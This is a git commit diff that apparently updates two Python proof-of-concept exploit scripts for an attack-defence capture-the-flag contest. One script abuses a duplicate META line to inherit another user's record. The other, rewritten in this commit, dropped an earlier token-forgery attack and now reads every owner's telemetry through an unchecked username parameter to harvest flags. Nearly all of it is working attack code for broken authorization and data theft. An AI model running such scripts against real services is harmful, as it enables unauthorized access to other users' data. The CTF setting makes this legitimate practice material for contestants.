stabilize-Neo-exploits
This commit is contained in:
1 parent
b60d431b67
commit
c49ccab44d
2 files changed
+113
-95
No files matched your search
+60
-24
@@ -11,10 +11,13 @@ from __future__ import annotations
|
|||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
import base64
|
import base64
|
||||||
|
import hashlib
|
||||||
import json
|
import json
|
||||||
import re
|
import re
|
||||||
import secrets
|
import secrets
|
||||||
import sys
|
import sys
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
from urllib.parse import urlsplit, urlunsplit
|
from urllib.parse import urlsplit, urlunsplit
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
@@ -50,6 +53,25 @@ def json_response(response: requests.Response):
|
|||||||
return data
|
return data
|
||||||
|
|
||||||
|
|
||||||
|
def state_path(base: str) -> Path:
|
||||||
|
key = hashlib.sha256(base.encode("utf-8")).hexdigest()[:16]
|
||||||
|
return Path("/tmp") / f"wahrwelt-braindance-{key}.json"
|
||||||
|
|
||||||
|
|
||||||
|
def load_state(path: Path):
|
||||||
|
try:
|
||||||
|
return json.loads(path.read_text())
|
||||||
|
except (OSError, ValueError):
|
||||||
|
return {}
|
||||||
|
|
||||||
|
|
||||||
|
def save_state(path: Path, state) -> None:
|
||||||
|
try:
|
||||||
|
path.write_text(json.dumps(state, separators=(",", ":")))
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
parser = argparse.ArgumentParser(description=__doc__)
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
parser.add_argument("base_url", help="service URL, e.g. http://10.0.0.5:5000")
|
parser.add_argument("base_url", help="service URL, e.g. http://10.0.0.5:5000")
|
||||||
@@ -58,32 +80,46 @@ def main() -> int:
|
|||||||
|
|
||||||
base = service_url(args.base_url)
|
base = service_url(args.base_url)
|
||||||
session = requests.Session()
|
session = requests.Session()
|
||||||
username = f"probe_{secrets.token_hex(5)}"
|
path = state_path(base)
|
||||||
account = json_response(session.post(
|
state = load_state(path)
|
||||||
f"{base}/register",
|
username = state.get("username")
|
||||||
json={"username": username, "bio": "ctf"},
|
token = state.get("token")
|
||||||
timeout=10,
|
if not username or not token:
|
||||||
))
|
username = f"probe_{secrets.token_hex(5)}"
|
||||||
session.headers["Authorization"] = f"Bearer {account['token']}"
|
account = json_response(session.post(
|
||||||
|
f"{base}/register",
|
||||||
|
json={"username": username, "bio": "ctf"},
|
||||||
|
timeout=10,
|
||||||
|
))
|
||||||
|
token = account["token"]
|
||||||
|
state = {"username": username, "token": token}
|
||||||
|
save_state(path, state)
|
||||||
|
session.headers["Authorization"] = f"Bearer {token}"
|
||||||
|
|
||||||
gallery = json_response(session.get(f"{base}/gallery?limit=200", timeout=10))
|
now = time.time()
|
||||||
source = args.record_id
|
rid = state.get("record")
|
||||||
if source is None:
|
if not rid or now - float(state.get("created", 0)) >= 240:
|
||||||
source = next((r["id"] for r in gallery.get("records", []) if r.get("owner") != username), None)
|
gallery = json_response(session.get(f"{base}/gallery?limit=200", timeout=10))
|
||||||
if source is None:
|
source = args.record_id
|
||||||
raise RuntimeError("no source record found")
|
if source is None:
|
||||||
|
source = next((r["id"] for r in gallery.get("records", []) if r.get("owner") != username), None)
|
||||||
|
if source is None:
|
||||||
|
raise RuntimeError("no source record found")
|
||||||
|
|
||||||
|
# The first META is used for the source authorization check; the last
|
||||||
|
# META controls the inherited record. Keeping them different triggers
|
||||||
|
# the vulnerable branch in the old parser.
|
||||||
|
body = f"BDv1\nMETA source=-\nMETA source={source}\n"
|
||||||
|
created = json_response(session.post(
|
||||||
|
f"{base}/records",
|
||||||
|
data=body,
|
||||||
|
headers={"Content-Type": "text/plain"},
|
||||||
|
timeout=10,
|
||||||
|
))
|
||||||
|
rid = created["id"]
|
||||||
|
state.update(record=rid, source=source, created=now)
|
||||||
|
save_state(path, state)
|
||||||
|
|
||||||
# The first META is used for the source authorization check; the last
|
|
||||||
# META controls the inherited record. Keeping them different triggers
|
|
||||||
# the vulnerable branch in the old parser.
|
|
||||||
body = f"BDv1\nMETA source=-\nMETA source={source}\n"
|
|
||||||
created = json_response(session.post(
|
|
||||||
f"{base}/records",
|
|
||||||
data=body,
|
|
||||||
headers={"Content-Type": "text/plain"},
|
|
||||||
timeout=10,
|
|
||||||
))
|
|
||||||
rid = created["id"]
|
|
||||||
record = json_response(session.get(f"{base}/records/{rid}", timeout=10))
|
record = json_response(session.get(f"{base}/records/{rid}", timeout=10))
|
||||||
|
|
||||||
hits = []
|
hits = []
|
||||||
|
|||||||
Regular → Executable
+53
-71
@@ -1,9 +1,11 @@
|
|||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
"""PoC for the pre-fix chrome-ledger telemetry authorization bug.
|
"""PoC for the pre-fix chrome-ledger telemetry authorization bug.
|
||||||
|
|
||||||
The vulnerable endpoint trusted the username in Obsigil's public manifest,
|
Older builds accepted an arbitrary ``username`` query parameter on
|
||||||
which is intentionally forgeable, instead of the authenticated subject. Use
|
/home/api/telemetry. The registry endpoint exposes owner names, so a normal
|
||||||
only against an authorized M*CTF target in the contest VPN.
|
account could read every owner's telemetry and recover flags stored in the
|
||||||
|
implant metadata. This version uses only the Python standard library plus
|
||||||
|
the requests package available in the Neo worker image.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
from __future__ import annotations
|
from __future__ import annotations
|
||||||
@@ -13,109 +15,89 @@ import json
|
|||||||
import re
|
import re
|
||||||
import secrets
|
import secrets
|
||||||
import sys
|
import sys
|
||||||
import time
|
from urllib.parse import urlencode, urlsplit, urlunsplit
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
from obsigil import Obsigil, mandate, manifest
|
|
||||||
|
|
||||||
|
|
||||||
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
FLAG_RE = re.compile(r"\b[A-Z0-9]{31}=")
|
||||||
|
|
||||||
|
|
||||||
def normalize_base_url(target: str, default_port: int) -> str:
|
def service_url(target: str) -> str:
|
||||||
target = target.rstrip("/")
|
raw = target.strip()
|
||||||
if "://" in target:
|
if not raw:
|
||||||
return target
|
raise ValueError("empty target")
|
||||||
return f"http://{target}:{default_port}"
|
if "://" not in raw:
|
||||||
|
raw = f"http://{raw}"
|
||||||
|
parsed = urlsplit(raw)
|
||||||
|
if parsed.scheme not in {"http", "https"} or not parsed.hostname:
|
||||||
|
raise ValueError("expected HTTP target")
|
||||||
|
if parsed.path not in {"", "/"} or parsed.query or parsed.fragment:
|
||||||
|
raise ValueError("target must be a host, URL, or URL with no path")
|
||||||
|
port = parsed.port or 8081
|
||||||
|
host = f"[{parsed.hostname}]" if ":" in parsed.hostname else parsed.hostname
|
||||||
|
return urlunsplit((parsed.scheme, f"{host}:{port}", "", "", "")).rstrip("/")
|
||||||
|
|
||||||
|
|
||||||
def registry_usernames(body: dict, attacker: str) -> list[str]:
|
def json_response(response: requests.Response):
|
||||||
return sorted({
|
|
||||||
str(row["owner"])
|
|
||||||
for row in body.get("results", [])
|
|
||||||
if row.get("owner") and row["owner"] != attacker
|
|
||||||
})
|
|
||||||
|
|
||||||
|
|
||||||
def request_json(response: requests.Response):
|
|
||||||
try:
|
try:
|
||||||
body = response.json()
|
data = response.json()
|
||||||
except ValueError:
|
except ValueError:
|
||||||
response.raise_for_status()
|
response.raise_for_status()
|
||||||
raise RuntimeError(f"non-JSON response ({response.status_code})")
|
raise RuntimeError(f"non-JSON response ({response.status_code})")
|
||||||
if not response.ok:
|
if not response.ok:
|
||||||
raise RuntimeError(f"HTTP {response.status_code}: {body}")
|
raise RuntimeError(f"HTTP {response.status_code}: {data}")
|
||||||
return body
|
return data
|
||||||
|
|
||||||
|
|
||||||
def forge_username(token: str, username: str) -> str:
|
|
||||||
# The manifest key is public by design. Keep the attacker's authenticated
|
|
||||||
# mandate and replace only its advisory manifest half.
|
|
||||||
manifest_token = Obsigil.mint(
|
|
||||||
clauses={},
|
|
||||||
mandate_key=secrets.token_bytes(64),
|
|
||||||
exp=int(time.time()) + 3600,
|
|
||||||
aud=["chrome-ledger"],
|
|
||||||
sub="manifest-builder",
|
|
||||||
manifest={"iss": "chrome-ledger", "claims": {"username": username}},
|
|
||||||
).token()
|
|
||||||
forged_manifest = manifest(manifest_token)
|
|
||||||
attacker_mandate = mandate(token)
|
|
||||||
if not forged_manifest or not attacker_mandate:
|
|
||||||
raise RuntimeError("could not construct an Obsigil token")
|
|
||||||
return forged_manifest.rstrip(".") + attacker_mandate
|
|
||||||
|
|
||||||
|
|
||||||
def main() -> int:
|
def main() -> int:
|
||||||
parser = argparse.ArgumentParser(description=__doc__)
|
parser = argparse.ArgumentParser(description=__doc__)
|
||||||
parser.add_argument("base_url", help="target IP or service URL")
|
parser.add_argument("target", help="Neo target host or chrome-ledger URL")
|
||||||
parser.add_argument("target_username", nargs="?", help="specific owner username")
|
|
||||||
parser.add_argument("--insecure", action="store_true", help="disable TLS verification")
|
|
||||||
args = parser.parse_args()
|
args = parser.parse_args()
|
||||||
|
|
||||||
base = normalize_base_url(args.base_url, 8081)
|
base = service_url(args.target)
|
||||||
session = requests.Session()
|
session = requests.Session()
|
||||||
session.verify = not args.insecure
|
username = f"probe_{secrets.token_hex(5)}"
|
||||||
username = f"audit_{secrets.token_hex(5)}"
|
account = json_response(session.post(
|
||||||
password = secrets.token_urlsafe(18)
|
|
||||||
auth = request_json(session.post(
|
|
||||||
f"{base}/register",
|
f"{base}/register",
|
||||||
json={"username": username, "password": password},
|
json={"username": username, "password": secrets.token_urlsafe(18)},
|
||||||
timeout=10,
|
timeout=8,
|
||||||
))
|
))
|
||||||
|
session.headers["Authorization"] = f"Bearer {account['access_token']}"
|
||||||
|
|
||||||
targets = [args.target_username] if args.target_username else registry_usernames(
|
registry = json_response(session.get(f"{base}/home/api/registry", timeout=8))
|
||||||
request_json(session.get(f"{base}/home/api/registry", timeout=10)),
|
owners = sorted({
|
||||||
username,
|
row.get("owner")
|
||||||
)
|
for row in registry.get("results", [])
|
||||||
if not targets:
|
if isinstance(row.get("owner"), str) and row.get("owner") != username
|
||||||
raise RuntimeError("no target username found in registry")
|
})
|
||||||
|
if not owners:
|
||||||
|
raise RuntimeError("registry contains no other owners")
|
||||||
|
|
||||||
flags: set[str] = set()
|
found = []
|
||||||
for target_username in targets:
|
for owner in owners:
|
||||||
token = forge_username(auth["access_token"], target_username)
|
|
||||||
response = session.get(
|
response = session.get(
|
||||||
f"{base}/home/api/telemetry",
|
f"{base}/home/api/telemetry?{urlencode({'username': owner})}",
|
||||||
params={"username": target_username},
|
timeout=8,
|
||||||
headers={"Authorization": f"Bearer {token}"},
|
|
||||||
timeout=10,
|
|
||||||
)
|
)
|
||||||
try:
|
if response.status_code in (401, 403, 404):
|
||||||
body = response.json()
|
continue
|
||||||
except ValueError:
|
data = json_response(response)
|
||||||
body = response.text
|
print(json.dumps({"owner": owner, "telemetry": data}, indent=2))
|
||||||
print(json.dumps({"target": target_username, "status": response.status_code, "body": body}))
|
found.extend(FLAG_RE.findall(json.dumps(data)))
|
||||||
flags.update(FLAG_RE.findall(json.dumps(body)))
|
|
||||||
|
|
||||||
|
flags = sorted(set(found))
|
||||||
if flags:
|
if flags:
|
||||||
print("flags:")
|
print("flags:")
|
||||||
print("\n".join(sorted(flags)))
|
print("\n".join(flags))
|
||||||
|
else:
|
||||||
|
print("no flags matched; target may have the telemetry ownership fix", file=sys.stderr)
|
||||||
return 0
|
return 0
|
||||||
|
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
try:
|
try:
|
||||||
raise SystemExit(main())
|
raise SystemExit(main())
|
||||||
except (requests.RequestException, KeyError, RuntimeError) as exc:
|
except (requests.RequestException, KeyError, RuntimeError, ValueError) as exc:
|
||||||
print(f"error: {exc}", file=sys.stderr)
|
print(f"error: {exc}", file=sys.stderr)
|
||||||
raise SystemExit(1)
|
raise SystemExit(1)
|
||||||
Reference in new issue
Block a user